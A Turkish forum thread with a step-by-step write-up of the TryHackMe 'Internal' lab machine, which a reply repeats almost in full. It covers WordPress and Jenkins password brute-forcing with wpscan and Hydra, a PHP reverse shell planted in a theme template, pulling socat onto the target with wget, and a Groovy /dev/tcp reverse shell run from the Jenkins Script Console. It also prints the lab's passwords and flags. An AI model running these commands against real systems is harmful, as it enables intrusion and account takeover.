Tryhackme İnternal Write-up

Kudad

Katılımcı Üye
14 Nis 2021
631
3
138
Merhaba THT üyeleri bugün sizlere Tryhackme’de bulunan internal makinesinin çözümünü göstereceğim. Daha fazla sizi bekletmeden çözüme geçeyim :) .

Zorluk: Sert
Link: TryHackMe | Internal

Çoğu makine yaptığımız gibi ilk standart bir nmap taraması yapalım
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 6e:fa:ef:be:f6:5f:98:b9:59:7b:f7:8e:b9:c5:62:1e (RSA)
| 256 ed:64:ed:33:e5:c9:30:58:ba:23:04:0d:14:eb:30:e9 (ECDSA)
|_ 256 b0:7f:7f:7b:52:62:62:2a:60:d4:3d:36:fa:89:ee:ff (ED25519)
80/tcp open http Apache httpd 2.4.29 ((Ubuntu))
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: Apache2 Ubuntu Default Page: It works
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Tarama sonuçlarından dosya elde edemedik ama bir ssh servisi ve Apache/2.4.29 http serverımız(bloğumuz) var

Bloğun daha detayına inmek için gobuster ile bi tarama daha yapıyorum

gobuster dir -u http://internal.thm -w /usr/share/wordlists/dirb/common.txt
===============================================================
Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
===============================================================
[+] Url: http://internal.thm
[+] Threads: 10
[+] Wordlist: /usr/share/wordlists/dirb/common.txt
[+] Status codes: 200,204,301,302,307,401,403
[+] User Agent: gobuster/3.0.1
[+] Timeout: 10s
===============================================================
2020/09/03 14:28:32 Starting gobuster
===============================================================
/.hta (Status: 403)
/.htpasswd (Status: 403)
/.htaccess (Status: 403)
/blog (Status: 301)
/index.html (Status: 200)
/javascript (Status: 301)
/phpmyadmin (Status: 301)
/server-status (Status: 403)
/wordpress (Status: 301)
===============================================================
2020/09/03 14:29:00 Finished
===============================================================

Wordpress olduğunu görmüş olduk şimdi wordpress siteleri için en çok kullanılan toollardan olan wpscan ile tarayalım. Wpscan’ın paremaetreleri tamamen ayrı birr konu Google’da aratarak bulabilirsiniz.
wpscan --url http://internal.thm/blog -e u
_______________________________________________________________
__ _______ _____
\ \ / / __ \ / ____|
\ \ /\ / /| |__) | (___ ___ __ _ _ __ ®
\ \/ \/ / | ___/ \___ \ / __|/ _` | '_ \
\ /\ / | | ____) | (__| (_| | | | |
\/ \/ |_| |_____/ \___|\__,_|_| |_|

WordPress Security Scanner by the WPScan Team
Version 3.8.4
Sponsored by Automattic - Automattic
@_WPScan_, @ethicalhack3r, @erwan_lr, @firefart
_______________________________________________________________

[+] URL: http://internal.thm/blog/ [10.10.137.187]
[+] Started: Thu Sep 3 14:36:16 2020

Interesting Finding(s):

[+] Headers
| Interesting Entry: Server: Apache/2.4.29 (Ubuntu)
| Found By: Headers (Passive Detection)
| Confidence: 100%

[+] XML-RPC seems to be enabled: http://internal.thm/blog/xmlrpc.php
| Found By: Direct Access (Aggressive Detection)
| Confidence: 100%
| References:
| - XML-RPC Pingback API « WordPress Codex
| - WordPress XMLRPC GHOST Vulnerability Scanner
| - Wordpress XMLRPC DoS
| - Wordpress XML-RPC Username/Password Login Scanner
| - Wordpress Pingback Locator

[+] http://internal.thm/blog/readme.html
| Found By: Direct Access (Aggressive Detection)
| Confidence: 100%

[+] The external WP-Cron seems to be enabled: http://internal.thm/blog/wp-cron.php
| Found By: Direct Access (Aggressive Detection)
| Confidence: 60%
| References:
| - How to defend Wordpress from DDoS attacks?
| - WP-Cron detection? · Issue #1299 · wpscanteam/wpscan

[+] WordPress version 5.4.2 identified (Latest, released on 2020-06-10).
| Found By: Rss Generator (Passive Detection)
| - http://internal.thm/blog/index.php/feed/, <generator>Blog Tool, Publishing Platform, and CMS - WordPress.org</generator>
| - http://internal.thm/blog/index.php/comments/feed/, <generator>Blog Tool, Publishing Platform, and CMS - WordPress.org</generator>

[+] WordPress theme in use: twentyseventeen
| Location: http://internal.thm/blog/wp-content/themes/twentyseventeen/
| Last Updated: 2020-08-11T00:00:00.000Z
| Readme: http://internal.thm/blog/wp-content/themes/twentyseventeen/readme.txt
| [!] The version is out of date, the latest version is 2.4
| Style URL: http://internal.thm/blog/wp-content/themes/twentyseventeen/style.css?ver=20190507
| Style Name: Twenty Seventeen
| Style URI: Twenty Seventeen
| Description: Twenty Seventeen brings your site to life with header video and immersive featured images. With a fo...
| Author: the WordPress team
| Author URI: Blog Tool, Publishing Platform, and CMS - WordPress.org
|
| Found By: Css Style In Homepage (Passive Detection)
|
| Version: 2.3 (80% confidence)
| Found By: Style (Passive Detection)
| - http://internal.thm/blog/wp-content/themes/twentyseventeen/style.css?ver=20190507, Match: 'Version: 2.3'

[+] Enumerating Users (via Passive and Aggressive Methods)
Brute Forcing Author IDs - Time: 00:00:00 <=======================================> (10 / 10) 100.00% Time: 00:00:00

User(s) Identified:

[+] admin

| Found By: Author Posts - Author Pattern (Passive Detection)
| Confirmed By:
| Rss Generator (Passive Detection)
| Wp Json Api (Aggressive Detection)
| - http://internal.thm/blog/index.php/wp-json/wp/v2/users/?per_page=100&page=1
| Author Id Brute Forcing - Author Pattern (Aggressive Detection)
| Login Error Messages (Aggressive Detection)

[!] No WPVulnDB API Token given, as a result vulnerability data has not been output.
[!] You can get a free API token with 50 daily requests by registering at https://wpvulndb.com/users/sign_up

[+] Finished: Thu Sep 3 14:36:20 2020
[+] Requests Done: 24
[+] Cached Requests: 34
[+] Data Sent: 5.936 KB
[+] Data Received: 181.104 KB
[+] Memory used: 172.43 MB
[+] Elapsed time: 00:00:03
WPScan'a göre, tek kullanıcı . WPScan'ın bruteforce özelliğini kullanarak şifreyi zorlamaya çalışalım.
wpscan --url http://internal.thm/blog -U admin -P /usr/share/wordlists/rockyou.txt

[REDACTED]

[!] Valid Combinations Found:

| Username: admin, Password: my2boys

[REDACTED]

Admin panelin şifresi ve kullanıcı adını bulduk. Şimdi admin paneline(http://internal.thm/blog/wp-admin/) gidip kullanıcı adı ve şifreyi girdik doğru. Şimdi şablonların php kaynak kodunu değitirerek ters kabuk oluşturacağız. Web arayüzünde "Görünüm > Tema Editörü > 404.php" e gidin ve PHP kodunu bir PHP ters kabuğuyla değiştirip bir bağlantı daha açıp şablonu çağıracağız

$ rlwrap nc -nlvp 4444
listening on [any] 4444 ...
connect to [10.8.50.72] from (UNKNOWN) [10.10.137.187] 51322
Linux internal 4.15.0-112-generic #113-Ubuntu SMP Thu Jul 9 23:41:39 UTC 2020 x86_64 x86_64 x86_64 GNU/Linux

12:46:33 up 23 min, 0 users, load average: 0.02, 0.20, 0.18
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/bin/sh: 0: can't access tty; job control turned off
$ which python
/usr/bin/python
$ python -c "import pty;pty.spawn('/bin/bash')"
www-data@internal:/$ whoami
whoami
www-data

ters kabuk çalışıyor şimdi yanal hareketle yetki yükseltmeye ve diğer kişilerin hesaplarına gireceğiz. Bir dizin var /opt buradan wp-save.txtyi görüntüleyin

Bill,

Aubreanna needed these credentials for something later. Let her know you have them and where they are.

aubreanna:bubb13guM!@#123

www-data@internal:/opt$ su aubreanna
su aubreanna
Password: bubb13guM!@#123

aubreanna@internal:/opt$ whoami
whoami
aubreanna

şimdi aubreanna adında biriyiz :)
giriş klasörüne bakıyoruz:

aubreanna@internal:/opt$ cd /home/aubreanna
cd /home/aubreanna
aubreanna@internal:~$ ls -la
ls -la
total 56
drwx------ 7 aubreanna aubreanna 4096 Aug 3 03:57 .
drwxr-xr-x 3 root root 4096 Aug 3 01:40 ..
-rwx------ 1 aubreanna aubreanna 7 Aug 3 20:01 .bash_history
-rwx------ 1 aubreanna aubreanna 220 Apr 4 2018 .bash_logout
-rwx------ 1 aubreanna aubreanna 3771 Apr 4 2018 .bashrc
drwx------ 2 aubreanna aubreanna 4096 Aug 3 01:41 .cache
drwx------ 3 aubreanna aubreanna 4096 Aug 3 19:36 .gnupg
drwx------ 3 aubreanna aubreanna 4096 Aug 3 01:53 .local
-rwx------ 1 root root 223 Aug 3 01:56 .mysql_history
-rwx------ 1 aubreanna aubreanna 807 Apr 4 2018 .profile
drwx------ 2 aubreanna aubreanna 4096 Aug 3 02:38 .ssh
-rwx------ 1 aubreanna aubreanna 0 Aug 3 01:41 .sudo_as_admin_successful
-rwx------ 1 aubreanna aubreanna 55 Aug 3 03:57 jenkins.txt
drwx------ 3 aubreanna aubreanna 4096 Aug 3 01:41 snap
-rwx------ 1 aubreanna aubreanna 21 Aug 3 03:56 user.txt
aubreanna@internal:~$ cat user.txt
cat user.txt
THM{int3rna1_fl4g_1}

Kullanıcı bayrağı alındı şimdi hedef root bayrağı var.
Kök bayrağı için root olmaya çalıştık ama maalesef:

aubreanna@internal:~$ sudo -l
Sorry, user aubreanna may not run sudo on internal.

Şimdi en son bulduğumuz klasörleri karıştırıyoruz:

aubreanna@internal:~$ ls -la
ls -la
total 56
drwx------ 7 aubreanna aubreanna 4096 Aug 3 03:57 .
drwxr-xr-x 3 root root 4096 Aug 3 01:40 ..
-rwx------ 1 aubreanna aubreanna 7 Aug 3 20:01 .bash_history
-rwx------ 1 aubreanna aubreanna 220 Apr 4 2018 .bash_logout
-rwx------ 1 aubreanna aubreanna 3771 Apr 4 2018 .bashrc
drwx------ 2 aubreanna aubreanna 4096 Aug 3 01:41 .cache
drwx------ 3 aubreanna aubreanna 4096 Aug 3 19:36 .gnupg
drwx------ 3 aubreanna aubreanna 4096 Aug 3 01:53 .local
-rwx------ 1 root root 223 Aug 3 01:56 .mysql_history
-rwx------ 1 aubreanna aubreanna 807 Apr 4 2018 .profile
drwx------ 2 aubreanna aubreanna 4096 Aug 3 02:38 .ssh
-rwx------ 1 aubreanna aubreanna 0 Aug 3 01:41 .sudo_as_admin_successful
-rwx------ 1 aubreanna aubreanna 55 Aug 3 03:57 jenkins.txt
drwx------ 3 aubreanna aubreanna 4096 Aug 3 01:41 snap
-rwx------ 1 aubreanna aubreanna 21 Aug 3 03:56 user.txt

Jenkins.txt adında bir dosya var görüntüleyelim:

Internal Jenkins service is running on 172.17.0.2:8080

Büyük ihtimalle ya localhosttur yada ayrı makineden bağlanmamız gerekir bunu anlamak için:

aubreanna@internal:~$ netstat -tan | grep 8080
tcp 0 0 127.0.0.1:8080 0.0.0.0:*LISTEN
Docker'ın hedefte mevcut olduğuna dair birkaç gösterge vardır ve Jenkins belgeleri (Installing Jenkins) Jenkins'in docker ile nasıl kurulacağı açıklandığı için, Jenkins'in bu şekilde yüklendiğini varsayabiliriz. Buna bir el atalım bakalım olacak mı?
Jenkins'i bize kullanılabilir hale getirmek için (sadece localhost yerine), bağlantı noktalarını yeniden yönlendirmek için kullanabiliriz. Hedefte mevcut olmadığı için, onu transfer etmeliyiz. Bunu şu şekilde yapabilirsiniz: socat
Saldırıgan yani biz:
$ which socat
/usr/bin/socat
kali@kali:/data/Internal$ cd /usr/bin/
kali@kali:/usr/bin$ python3 -m http.server
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...

En son bağlandığımız kişide:
aubreanna@internal:~$ cd /tmp/
aubreanna@internal:/tmp$ wget http://10.8.50.72:8000/socat
aubreanna@internal:/tmp$ chmod +x socat
aubreanna@internal:/tmp$ ./socat TCP-LISTEN:8888,fork TCP:127.0.0.1:80 &
şimdi 8888 portu bize açık localhostta tmmdır. Hesabı zorlamak gerek.
Hydra saldırımızı oluşturmak için Burp Suite'teki POST talebini engelleyin.
POST /j_acegi_security_check HTTP/1.1
Host: internal.thm:8888
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://internal.thm:8888/login?from=/
Content-Type: application/x-www-form-urlencoded
Content-Length: 57
Connection: close
Cookie: JSESSIONID.fb3308f2=node0lfk0eau5l4zu17h43ifl0scpw36.node0
Upgrade-Insecure-Requests: 1

j_username=admin&j_password=admin&from=%2F&Submit=Sign+in
Artık gerekli tüm bilgilere sahibiz. İşte hidra saldırısı:
kali@kali:/data/src$ hydra -l admin -P /usr/share/wordlists/rockyou.txt internal.thm -s 8888 http-post-form "/j_acegi_security_check:j_username=^USER^&j_password=^PASS^&from=%2F&Submit=Sign+in:Invalid username or password"
Hydra v9.1 (c) 2020 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2020-09-03 15:40:12
[DATA] max 16 tasks per 1 server, overall 16 tasks, 14344399 login tries (l:1/p:14344399), ~896525 tries per task
[DATA] attacking http-post-form://internal.thm:8888/j_acegi_security_check:j_username=^USER^&j_password=^PASS^&from=%2F&Submit=Sign+in:Invalid username or password
[STATUS] 396.00 tries/min, 396 tries in 00:01h, 14344003 to do in 603:43h, 16 active
[8888][http-post-form] host: internal.thm login: admin password: spongebob
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2020-09-03 15:41:31
Artık yöneticinin şifresi elimizde. ile http://internal.thm:8888 bağlanalım. admin:spongebob
Artık Jenkins'e yönetici erişimimiz olduğuna göre, komutları çalıştırabiliriz ve sonuçta bunu ters bir kabuk için kullanacağız.
Bir dinleyici çalıştırarak başlayın (makinenizde):
$ rlwrap nc -nlvp 5555
Şimdi, Jenkins'te , "Jenkins > Düğümleri > yöneticisi" ne gidin ve menüden "Script Console" a tıklayın. Aşağıdaki komutu yürütün (burada bulunur):
r = Runtime.getRuntime()
p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/10.8.50.72/5555;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[])
p.waitFor()
İlk SSH bağlantımıza şöyle geri dönelim: aubreanna
aubreanna@internal:/var/backups$ su root
Password:
root@internal:/var/backups# cd /root/
root@internal:~# ll
total 48
drwx------ 7 root root 4096 Aug 3 13:16 ./
drwxr-xr-x 24 root root 4096 Aug 3 01:31 ../
-rw------- 1 root root 193 Aug 3 20:01 .bash_history
-rw-r--r-- 1 root root 3106 Apr 9 2018 .bashrc
drwx------ 2 root root 4096 Aug 3 02:23 .cache/
drwx------ 3 root root 4096 Aug 3 02:23 .gnupg/
drwxr-xr-x 3 root root 4096 Aug 3 01:53 .local/
-rw------- 1 root root 1071 Aug 3 13:16 .mysql_history
-rw-r--r-- 1 root root 148 Aug 17 2015 .profile
drwx------ 2 root root 4096 Aug 3 01:40 .ssh/
-rw-r--r-- 1 root root 22 Aug 3 04:13 root.txt
drwxr-xr-x 3 root root 4096 Aug 3 01:41 snap/
root@internal:~# cat root.txt
THM{d0ck3r_d3str0y3r}

CTF bitti cevaplar:
Kullanıcı bayrağı: THM{int3rna1_fl4g_1}
Kök bayrağı: THM{d0ck3r_d3str0y3r}

İlla bi özet geçmek gerekirse şu şekildedir:
Nmap ettik site bulunduğunu gördük
Gobuster ile taradık wordpress olduğunu gördük
Wpscan ile zorladık admin paneli kullanıcı adı ve şifresini aldık
Sonra ters kabuk ettik
/opt klasörünün içine gittik ve orada wps-save.txt yi açtık
Diğer kullanıcı ile bağlandık giriş klasörüne gittik.
Dosyaları karıştırırken kullanıcı bayrağını bulduk
Biraz daha ilerledik localhost 8080 ile bakılabileceğini bulduk
Oradan localhost için 8888 limanını aldık ssh bağlandık
Root.txt ye baktık root bayrağı CTF i bitirdik.
 

Adanalıtrojan

Kıdemli Üye
25 Haz 2021
2,024
7
1,054
17
Konya Ovası Askeri Tesislerinde
Merhaba THT üyeleri bugün sizlere Tryhackme’de bulunan internal makinesinin çözümünü göstereceğim. Daha fazla sizi bekletmeden çözüme geçeyim :) .

Çoğu makine yaptığımız gibi ilk standart bir nmap taraması yapalım
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 6e:fa:ef:be:f6:5f:98:b9:59:7b:f7:8e:b9:c5:62:1e (RSA)
| 256 ed:64:ed:33:e5:c9:30:58:ba:23:04:0d:14:eb:30:e9 (ECDSA)
|_ 256 b0:7f:7f:7b:52:62:62:2a:60:d4:3d:36:fa:89:ee:ff (ED25519)
80/tcp open http Apache httpd 2.4.29 ((Ubuntu))
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: Apache2 Ubuntu Default Page: It works
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Tarama sonuçlarından dosya elde edemedik ama bir ssh servisi ve Apache/2.4.29 http serverımız(bloğumuz) var

Bloğun daha detayına inmek için gobuster ile bi tarama daha yapıyorum

gobuster dir -u http://internal.thm -w /usr/share/wordlists/dirb/common.txt
===============================================================
Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
===============================================================
[+] Url: http://internal.thm
[+] Threads: 10
[+] Wordlist: /usr/share/wordlists/dirb/common.txt
[+] Status codes: 200,204,301,302,307,401,403
[+] User Agent: gobuster/3.0.1
[+] Timeout: 10s
===============================================================
2020/09/03 14:28:32 Starting gobuster
===============================================================
/.hta (Status: 403)
/.htpasswd (Status: 403)
/.htaccess (Status: 403)
/blog (Status: 301)
/index.html (Status: 200)
/javascript (Status: 301)
/phpmyadmin (Status: 301)
/server-status (Status: 403)
/wordpress (Status: 301)
===============================================================
2020/09/03 14:29:00 Finished
===============================================================

Wordpress olduğunu görmüş olduk şimdi wordpress siteleri için en çok kullanılan toollardan olan wpscan ile tarayalım. Wpscan’ın paremaetreleri tamamen ayrı birr konu Google’da aratarak bulabilirsiniz.
wpscan --url http://internal.thm/blog -e u
_______________________________________________________________
__ _______ _____
\ \ / / __ \ / ____|
\ \ /\ / /| |__) | (___ ___ __ _ _ __ ®
\ \/ \/ / | ___/ \___ \ / __|/ _` | '_ \
\ /\ / | | ____) | (__| (_| | | | |
\/ \/ |_| |_____/ \___|\__,_|_| |_|

WordPress Security Scanner by the WPScan Team
Version 3.8.4
Sponsored by Automattic - Automattic
@_WPScan_, @ethicalhack3r, @erwan_lr, @firefart
_______________________________________________________________

[+] URL: http://internal.thm/blog/ [10.10.137.187]
[+] Started: Thu Sep 3 14:36:16 2020

Interesting Finding(s):

[+] Headers
| Interesting Entry: Server: Apache/2.4.29 (Ubuntu)
| Found By: Headers (Passive Detection)
| Confidence: 100%

[+] XML-RPC seems to be enabled: http://internal.thm/blog/xmlrpc.php
| Found By: Direct Access (Aggressive Detection)
| Confidence: 100%
| References:
| - XML-RPC Pingback API « WordPress Codex
| - WordPress XMLRPC GHOST Vulnerability Scanner
| - Wordpress XMLRPC DoS
| - Wordpress XML-RPC Username/Password Login Scanner
| - Wordpress Pingback Locator

[+] http://internal.thm/blog/readme.html
| Found By: Direct Access (Aggressive Detection)
| Confidence: 100%

[+] The external WP-Cron seems to be enabled: http://internal.thm/blog/wp-cron.php
| Found By: Direct Access (Aggressive Detection)
| Confidence: 60%
| References:
| - How to defend Wordpress from DDoS attacks?
| - WP-Cron detection? · Issue #1299 · wpscanteam/wpscan

[+] WordPress version 5.4.2 identified (Latest, released on 2020-06-10).
| Found By: Rss Generator (Passive Detection)
| - http://internal.thm/blog/index.php/feed/, <generator>Blog Tool, Publishing Platform, and CMS - WordPress.org</generator>
| - http://internal.thm/blog/index.php/comments/feed/, <generator>Blog Tool, Publishing Platform, and CMS - WordPress.org</generator>

[+] WordPress theme in use: twentyseventeen
| Location: http://internal.thm/blog/wp-content/themes/twentyseventeen/
| Last Updated: 2020-08-11T00:00:00.000Z
| Readme: http://internal.thm/blog/wp-content/themes/twentyseventeen/readme.txt
| [!] The version is out of date, the latest version is 2.4
| Style URL: http://internal.thm/blog/wp-content/themes/twentyseventeen/style.css?ver=20190507
| Style Name: Twenty Seventeen
| Style URI: Twenty Seventeen
| Description: Twenty Seventeen brings your site to life with header video and immersive featured images. With a fo...
| Author: the WordPress team
| Author URI: Blog Tool, Publishing Platform, and CMS - WordPress.org
|
| Found By: Css Style In Homepage (Passive Detection)
|
| Version: 2.3 (80% confidence)
| Found By: Style (Passive Detection)
| - http://internal.thm/blog/wp-content/themes/twentyseventeen/style.css?ver=20190507, Match: 'Version: 2.3'

[+] Enumerating Users (via Passive and Aggressive Methods)
Brute Forcing Author IDs - Time: 00:00:00 <=======================================> (10 / 10) 100.00% Time: 00:00:00

User(s) Identified:

[+] admin

| Found By: Author Posts - Author Pattern (Passive Detection)
| Confirmed By:
| Rss Generator (Passive Detection)
| Wp Json Api (Aggressive Detection)
| - http://internal.thm/blog/index.php/wp-json/wp/v2/users/?per_page=100&page=1
| Author Id Brute Forcing - Author Pattern (Aggressive Detection)
| Login Error Messages (Aggressive Detection)

[!] No WPVulnDB API Token given, as a result vulnerability data has not been output.
[!] You can get a free API token with 50 daily requests by registering at https://wpvulndb.com/users/sign_up

[+] Finished: Thu Sep 3 14:36:20 2020
[+] Requests Done: 24
[+] Cached Requests: 34
[+] Data Sent: 5.936 KB
[+] Data Received: 181.104 KB
[+] Memory used: 172.43 MB
[+] Elapsed time: 00:00:03
WPScan'a göre, tek kullanıcı . WPScan'ın bruteforce özelliğini kullanarak şifreyi zorlamaya çalışalım.
wpscan --url http://internal.thm/blog -U admin -P /usr/share/wordlists/rockyou.txt

[REDACTED]

[!] Valid Combinations Found:

| Username: admin, Password: my2boys

[REDACTED]

Admin panelin şifresi ve kullanıcı adını bulduk. Şimdi admin paneline(http://internal.thm/blog/wp-admin/) gidip kullanıcı adı ve şifreyi girdik doğru. Şimdi şablonların php kaynak kodunu değitirerek ters kabuk oluşturacağız. Web arayüzünde "Görünüm > Tema Editörü > 404.php" e gidin ve PHP kodunu bir PHP ters kabuğuyla değiştirip bir bağlantı daha açıp şablonu çağıracağız

$ rlwrap nc -nlvp 4444
listening on [any] 4444 ...
connect to [10.8.50.72] from (UNKNOWN) [10.10.137.187] 51322
Linux internal 4.15.0-112-generic #113-Ubuntu SMP Thu Jul 9 23:41:39 UTC 2020 x86_64 x86_64 x86_64 GNU/Linux

12:46:33 up 23 min, 0 users, load average: 0.02, 0.20, 0.18
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/bin/sh: 0: can't access tty; job control turned off
$ which python
/usr/bin/python
$ python -c "import pty;pty.spawn('/bin/bash')"
www-data@internal:/$ whoami
whoami
www-data

ters kabuk çalışıyor şimdi yanal hareketle yetki yükseltmeye ve diğer kişilerin hesaplarına gireceğiz. Bir dizin var /opt buradan wp-save.txtyi görüntüleyin

Bill,

Aubreanna needed these credentials for something later. Let her know you have them and where they are.

aubreanna:bubb13guM!@#123

www-data@internal:/opt$ su aubreanna
su aubreanna
Password: bubb13guM!@#123

aubreanna@internal:/opt$ whoami
whoami
aubreanna

şimdi aubreanna adında biriyiz :)
giriş klasörüne bakıyoruz:

aubreanna@internal:/opt$ cd /home/aubreanna
cd /home/aubreanna
aubreanna@internal:~$ ls -la
ls -la
total 56
drwx------ 7 aubreanna aubreanna 4096 Aug 3 03:57 .
drwxr-xr-x 3 root root 4096 Aug 3 01:40 ..
-rwx------ 1 aubreanna aubreanna 7 Aug 3 20:01 .bash_history
-rwx------ 1 aubreanna aubreanna 220 Apr 4 2018 .bash_logout
-rwx------ 1 aubreanna aubreanna 3771 Apr 4 2018 .bashrc
drwx------ 2 aubreanna aubreanna 4096 Aug 3 01:41 .cache
drwx------ 3 aubreanna aubreanna 4096 Aug 3 19:36 .gnupg
drwx------ 3 aubreanna aubreanna 4096 Aug 3 01:53 .local
-rwx------ 1 root root 223 Aug 3 01:56 .mysql_history
-rwx------ 1 aubreanna aubreanna 807 Apr 4 2018 .profile
drwx------ 2 aubreanna aubreanna 4096 Aug 3 02:38 .ssh
-rwx------ 1 aubreanna aubreanna 0 Aug 3 01:41 .sudo_as_admin_successful
-rwx------ 1 aubreanna aubreanna 55 Aug 3 03:57 jenkins.txt
drwx------ 3 aubreanna aubreanna 4096 Aug 3 01:41 snap
-rwx------ 1 aubreanna aubreanna 21 Aug 3 03:56 user.txt
aubreanna@internal:~$ cat user.txt
cat user.txt
THM{int3rna1_fl4g_1}

Kullanıcı bayrağı alındı şimdi hedef root bayrağı var.
Kök bayrağı için root olmaya çalıştık ama maalesef:

aubreanna@internal:~$ sudo -l
Sorry, user aubreanna may not run sudo on internal.

Şimdi en son bulduğumuz klasörleri karıştırıyoruz:

aubreanna@internal:~$ ls -la
ls -la
total 56
drwx------ 7 aubreanna aubreanna 4096 Aug 3 03:57 .
drwxr-xr-x 3 root root 4096 Aug 3 01:40 ..
-rwx------ 1 aubreanna aubreanna 7 Aug 3 20:01 .bash_history
-rwx------ 1 aubreanna aubreanna 220 Apr 4 2018 .bash_logout
-rwx------ 1 aubreanna aubreanna 3771 Apr 4 2018 .bashrc
drwx------ 2 aubreanna aubreanna 4096 Aug 3 01:41 .cache
drwx------ 3 aubreanna aubreanna 4096 Aug 3 19:36 .gnupg
drwx------ 3 aubreanna aubreanna 4096 Aug 3 01:53 .local
-rwx------ 1 root root 223 Aug 3 01:56 .mysql_history
-rwx------ 1 aubreanna aubreanna 807 Apr 4 2018 .profile
drwx------ 2 aubreanna aubreanna 4096 Aug 3 02:38 .ssh
-rwx------ 1 aubreanna aubreanna 0 Aug 3 01:41 .sudo_as_admin_successful
-rwx------ 1 aubreanna aubreanna 55 Aug 3 03:57 jenkins.txt
drwx------ 3 aubreanna aubreanna 4096 Aug 3 01:41 snap
-rwx------ 1 aubreanna aubreanna 21 Aug 3 03:56 user.txt

Jenkins.txt adında bir dosya var görüntüleyelim:

Internal Jenkins service is running on 172.17.0.2:8080

Büyük ihtimalle ya localhosttur yada ayrı makineden bağlanmamız gerekir bunu anlamak için:

aubreanna@internal:~$ netstat -tan | grep 8080
tcp 0 0 127.0.0.1:8080 0.0.0.0:*LISTEN
Docker'ın hedefte mevcut olduğuna dair birkaç gösterge vardır ve Jenkins belgeleri (https://www.jenkins.io/doc/book/installing/) Jenkins'in docker ile nasıl kurulacağı açıklandığı için, Jenkins'in bu şekilde yüklendiğini varsayabiliriz. Buna bir el atalım bakalım olacak mı?
Jenkins'i bize kullanılabilir hale getirmek için (sadece localhost yerine), bağlantı noktalarını yeniden yönlendirmek için kullanabiliriz. Hedefte mevcut olmadığı için, onu transfer etmeliyiz. Bunu şu şekilde yapabilirsiniz: socat
Saldırıgan yani biz:
$ which socat
/usr/bin/socat
kali@kali:/data/Internal$ cd /usr/bin/
kali@kali:/usr/bin$ python3 -m http.server
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...

En son bağlandığımız kişide:
aubreanna@internal:~$ cd /tmp/
aubreanna@internal:/tmp$ wget http://10.8.50.72:8000/socat
aubreanna@internal:/tmp$ chmod +x socat
aubreanna@internal:/tmp$ ./socat TCP-LISTEN:8888,fork TCP:127.0.0.1:80 &
şimdi 8888 portu bize açık localhostta tmmdır. Hesabı zorlamak gerek.
Hydra saldırımızı oluşturmak için Burp Suite'teki POST talebini engelleyin.
POST /j_acegi_security_check HTTP/1.1
Host: internal.thm:8888
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://internal.thm:8888/login?from=/
Content-Type: application/x-www-form-urlencoded
Content-Length: 57
Connection: close
Cookie: JSESSIONID.fb3308f2=node0lfk0eau5l4zu17h43ifl0scpw36.node0
Upgrade-Insecure-Requests: 1

j_username=admin&j_password=admin&from=%2F&Submit=Sign+in
Artık gerekli tüm bilgilere sahibiz. İşte hidra saldırısı:
kali@kali:/data/src$ hydra -l admin -P /usr/share/wordlists/rockyou.txt internal.thm -s 8888 http-post-form "/j_acegi_security_check:j_username=^USER^&j_password=^PASS^&from=%2F&Submit=Sign+in:Invalid username or password"
Hydra v9.1 (c) 2020 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2020-09-03 15:40:12
[DATA] max 16 tasks per 1 server, overall 16 tasks, 14344399 login tries (l:1/p:14344399), ~896525 tries per task
[DATA] attacking http-post-form://internal.thm:8888/j_acegi_security_check:j_username=^USER^&j_password=^PASS^&from=%2F&Submit=Sign+in:Invalid username or password
[STATUS] 396.00 tries/min, 396 tries in 00:01h, 14344003 to do in 603:43h, 16 active
[8888][http-post-form] host: internal.thm login: admin password: spongebob
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2020-09-03 15:41:31
Artık yöneticinin şifresi elimizde. ile http://internal.thm:8888 bağlanalım. admin:spongebob
Artık Jenkins'e yönetici erişimimiz olduğuna göre, komutları çalıştırabiliriz ve sonuçta bunu ters bir kabuk için kullanacağız.
Bir dinleyici çalıştırarak başlayın (makinenizde):
$ rlwrap nc -nlvp 5555
Şimdi, Jenkins'te , "Jenkins > Düğümleri > yöneticisi" ne gidin ve menüden "Script Console" a tıklayın. Aşağıdaki komutu yürütün (burada bulunur):
r = Runtime.getRuntime()
p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/10.8.50.72/5555;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[])
p.waitFor()
İlk SSH bağlantımıza şöyle geri dönelim: aubreanna
